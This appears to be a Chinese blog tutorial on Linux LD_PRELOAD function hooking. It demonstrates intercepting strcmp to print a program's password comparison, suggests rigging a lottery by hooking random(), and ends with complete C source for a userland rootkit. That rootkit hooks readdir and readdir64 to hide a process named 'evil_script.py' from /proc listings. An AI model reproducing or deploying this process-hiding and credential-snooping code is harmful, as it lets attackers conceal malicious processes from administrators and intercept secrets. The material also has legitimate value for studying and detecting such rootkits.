loader在进行动态链接的时候,会将有相同符号名的符号覆盖成LD_PRELOAD指定的so文件中的符号。换句话说,可以用我们自己的so库中的函数替换原来库里有的函数,从而达到hook的目的。这和Windows下通过修改import table来hook API很类似。相比较之下,LD_PRELOAD更方便了,都不用自己写代码了,系统的loader会帮我们搞定。但是LD_PRELOAD有个限制:只能hook动态链接的库,对静态链接的库无效,因为静态链接的代码都写到可执行文件里了嘛,没有坑让你填。
先是受害者,我们的主程序main.c,通过strcmp比较字符串是否相等:
#include
#include
int main(int argc, char *argv[])
{
if( strcmp(argv[1], "test") )
{
printf("Incorrect password\n");
}
else
{
printf("Correct password\n");
}
return 0;
}
然后是用来hook的库hook.c:
#include
#include
#include
typedef int(*STRCMP)(const char*, const char*);
int strcmp(const char *s1, const char *s2)
{
static void *handle = NULL;
static STRCMP old_strcmp = NULL;
if( !handle )
{
handle = dlopen("libc.so.6", RTLD_LAZY);
old_strcmp = (STRCMP)dlsym(handle, "strcmp");
}
printf("hack function invoked. s1=<%s> s2=<%s>\n", s1, s2);
return old_strcmp(s1, s2);
}
因为hook的目标是strcmp,所以typedef了一个STRCMP函数指针。由于hook的目的是要控制函数行为,所以需要从原库libc.so.6中拿到“正版”strcmp指针,保存成old_strcmp以备调用。
Makefile:
test: main.c hook.so
gcc -o test main.c
hook.so: hook.c
gcc -fPIC -shared -o hook.so hook.c -ldl
执行:
$ LD_PRELOAD=./hook.so ./test 123
hack function invoked. s1=<123> s2=<test>
Incorrect password
$ LD_PRELOAD=./hook.so ./test test
hack function invoked. s1=<test> s2=<test>
Correct password
使用PRE_LOAD劫持库函数的这种做法可以做很多事情,比如劫持随机函数random, random_r等,使得看起来是公平的摇号程序可以自如地由自己控制;比如实现一些高级功能,zlibc就是使用这个技术来做压缩,但是上层应用对其完全无感知;比如紧急fixbug,你可以preload一个函数库来使你的有bug的程序如期运行;比如访问应用程序的内存,做一些你想做的事
LD_PRELOAD hook步骤:
export LD_PRELOAD="库文件路径"
,设置要优先替换动态链接库export LD_LIBRARY_PATH=库文件所在目录路径
,设置系统查找库的目录unset LD_PRELOAD
解除这里直接贴上代码,感兴趣的同学可以参考下面的链接:
#define _GNU_SOURCE
#include
#include
#include
#include
#include
/*
* Every process with this name will be excluded
*/
static const char* process_to_filter = "evil_script.py";
/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}
char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}
buf[ret] = 0;
return 1;
}
/*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) {
return 0;
}
char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
}
if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}
fclose(f);
int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}
#define DECLARE_READDIR(dirent, readdir) \
static struct dirent* (*original_##readdir)(DIR*) = NULL; \
\
struct dirent* readdir(DIR *dirp) \
{ \
if(original_##readdir == NULL) { \
original_##readdir = dlsym(RTLD_NEXT, "readdir"); \
if(original_##readdir == NULL) \
{ \
fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
} \
} \
\
struct dirent* dir; \
\
while(1) \
{ \
dir = original_##readdir(dirp); \
if(dir) { \
char dir_name[256]; \
char process_name[256]; \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
strcmp(dir_name, "/proc") == 0 && \
get_process_name(dir->d_name, process_name) && \
strcmp(process_name, process_to_filter) == 0) { \
continue; \
} \
} \
break; \
} \
return dir; \
}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);